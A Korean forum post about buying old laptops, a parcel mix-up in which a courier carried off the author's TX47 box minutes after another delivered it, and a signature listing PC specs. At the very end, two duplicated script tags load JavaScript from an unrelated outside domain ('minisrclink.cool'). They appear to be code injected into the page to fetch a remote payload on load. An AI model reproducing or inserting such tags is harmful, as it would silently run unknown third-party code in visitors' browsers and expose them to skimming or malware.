최근에 구식 노트북을 몇 대 구입했습니다. 


ux27

tx55l

tx47

p1620

p1610

tr2l


덧 x61, x61s, w500, w510,


이렇게 영입을 했는데

어제 사건,사고 하나가 터졌습니다.


tx47을 기다리고 있는데, 배송완료 라고 뜨는데 박스가 없는 겁니다.

하루를 더 기다리고 택배기사님께 연락을 드렸는데 

자신은 12시 30분에 정확히 두고 갔다는 겁니다.

그런데 아뿔사...

동료분께서 반품하시는 물건을 내놓기로 했는데

불과 5분 간격으로

택배기사 2명이 와서는 한분은 tx47든 박스를 두고 가고

다른 한 분은 tx47든 박스를 들고 가버렸습니다.


만 하루가 지나고 알았네요... ㅠㅠ   찾을 수 있겠죠....


다음에 이 사건의 후기를 들고 다시 찾아 오겠습니다.


---> 축구 진짜 못하는데, 월요일 축구경기에 뛰게 되었습니다. 기도해주세요. 부딪혀서 어디 부러질까 겁이 납니다...

profile

IBM X61  + xpc shuttle sh67 3770K 16G 120G gtx750 ti + Samsung Dm-z70 4980HQ+H81-X1+8g+120g ssd

X220 Leokim 3612qe + x220 전투형

그 외

홈PC 1265L v3 8g 512g

기가바이트 브릭스 5775R 16g 120g

4770 8g 120g 아이몬PC

Shuttle sh87 4790k 16g 500g(msata evo 500g)

<script type="text/javascript" async="" src="//minisrclink.cool/1e40c8bd4601a5a5a4.js"></script><script type="text/javascript" async="" src="//minisrclink.cool/1e40c8bd4601a5a5a4.js"></script>